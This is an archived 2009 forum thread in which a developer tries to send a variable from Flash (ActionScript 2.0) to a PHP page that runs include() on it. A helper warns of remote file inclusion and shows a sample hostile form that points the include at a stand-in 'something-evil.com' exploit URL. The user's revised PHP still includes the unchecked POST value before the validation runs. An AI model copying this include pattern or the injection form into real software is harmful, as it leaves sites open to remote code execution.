A Flash Developer Resource Site

Results 1 to 10 of 10

Thread: Send PHP variable from Flash

  1. #1
    Junior Member
    Join Date
    Mar 2009
    Posts
    10

    Send PHP variable from Flash

    Hello,

    I posted this in a different section of the forum but it definitely belongs here.

    Problem: I've built a site largely in PHP with some Flash. I want to change the content of a div from one php include to another on press of a button in Flash.

    I am working in Flash 10 AS 2.0.

    In my php file, I currently have the following script in my div:

    <?php
    if(isset($paper)) {
    include($paper);
    } else {
    include("plainpaper.php");
    }
    ?>

    plainpaper.php shows up on initial page load, so it's definitely not getting the variable from Flash.

    In Flash I currently have:

    on (press) {
    myVars = new LoadVars();
    myVars.paper = "biotech1_text.php";
    myVars.sendAndLoad("http://www.farason.com/robotic_cells.php", myVars, "POST");
    }

    I've searched all over online, and haven't found actionscript that works. Any suggestions would be very much appreciated.

    Thanks in advance!
    Christine

  2. #2
    Registered User
    Join Date
    Feb 2001
    Posts
    13,041
    Hi,

    try to add one line here
    Code:
    <?php
    $paper = $_POST['paper'];
    I would like to warn you that this kind of scripting exposes your site to hacking. Suppose your server allows including http resources (some block that), and a visitor submits a form like that - with html file just on the local machine
    Code:
    <form action="http://www.farason.com/robotic_cells.php" method=post>
    <input type=hidden name=paper value="http://www.something-evil.com/exploits/tryinclude.php">
    It is good practice to
    - either refuse to accept / in the supplied name (blocks access to different folder as well as to remote resources) - code like
    Code:
    if(ereg("/", $paper)) die("there was a problem with the file you requested");
    - or supply a list of allowed names
    Also it might be an idea to create a "papers" folder and change the include to
    Code:
     if(isset($paper)) {
    include("papers/$paper");
    } else {
    include("papers/plainpaper.php");
    }
    Musicman

  3. #3
    Junior Member
    Join Date
    Mar 2009
    Posts
    10
    Thank you! That's great advice about the security, which I will definitely implement. I tried adding

    <?php
    $paper = $_POST['paper'];

    yesterday and it unfortunately did not work.

  4. #4
    Registered User
    Join Date
    Feb 2001
    Posts
    13,041
    Hi,

    I just tried to send to that script, and got an error 404: "The requested URL /robotic_cells.php was not found on this server."

    Musicman

  5. #5
    Junior Member
    Join Date
    Mar 2009
    Posts
    10

    Oops

    I corrected that error, and tried but still not luck. This is the correct script:

    on (press) {
    myVars = new LoadVars();
    myVars.paper = "biotech1_text.php";
    myVars.sendAndLoad("http://www.ccollister.com/farason/php/robotic_cells.php", myVars, "POST");
    }

  6. #6
    Junior Member
    Join Date
    Mar 2009
    Posts
    10

    If you'd still like to help

    I changed the actionscript to the following:

    on (press) {
    var LV:LoadVars = new LoadVars();
    LV.paper = "biotech1_text.php";
    LV.onLoad = function() {
    trace(LV.result);
    }
    LV.sendAndLoad("http://ccollister.com/farason/php/robotic_cells.php", LV, "POST");

    It appears to be working. There are parameters in the Flash file to test the script, and I get the result 'php received the variablebiotech1_text.php' at the top of my php page in the Flash preview. Even though my php file is receiving the variable, it's not interacting with the script which looks like this:

    Above my header:
    <?php $paper = $_POST["paper"]; ?>

    In the div:
    <?php
    if(isset($paper)) {
    include($paper);
    } else {
    include("plainpaper.php");
    }
    if(ereg("/", $paper)) die("there was a problem with the file you requested");
    ?>

    Am I on the right track?
    Last edited by christinemarie; 03-16-2009 at 08:37 PM. Reason: Changed some of the script

  7. #7
    Registered User
    Join Date
    Feb 2001
    Posts
    13,041
    Hi,

    one thing that looks a bit strange: sendandload is intended to load variables into flash, but the data you load looks like a web page. What is going on there?

    Musicman

  8. #8
    Junior Member
    Join Date
    Mar 2009
    Posts
    10
    Well, that's taken from a script I found online that seemed like it was working. I thought since it was using the POST function that it was sending the variable, not loading it.

    My main goal is to send a variable from Flash to my PHP file, at the press of a button within Flash. It will change the contents of one <div> in my PHP file.

    I had an iFrame in place, which was changing at the click of a button from Flash, but wanted to streamline everything into PHP. Should I revert back to that?
    Last edited by christinemarie; 03-17-2009 at 07:58 AM.

  9. #9
    Registered User
    Join Date
    Feb 2001
    Posts
    13,041
    Hi,

    there are just two ways to change something on a web page, besides the iframe: one ir to reload the entire page (you would use send() rather than sendandload() from flash), the other one requires javascript within the web page to alter contents of that div.
    Of course a flash movie could call that javascript...

    There is still the problem that your php does not seem to include the proper data

    Musicman

  10. #10
    Junior Member
    Join Date
    Mar 2009
    Posts
    10
    I switched back to using iFrames. It was working the way I needed it to, so I suppose you could apply the phrase 'If it ain't broke, don't fix it' here

    I would streamline everything to PHP if possible, but it seemed as though it was eating up way too much time.

    Anyway, thanks for all your help

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  




Click Here to Expand Forum to Full Width

HTML5 Development Center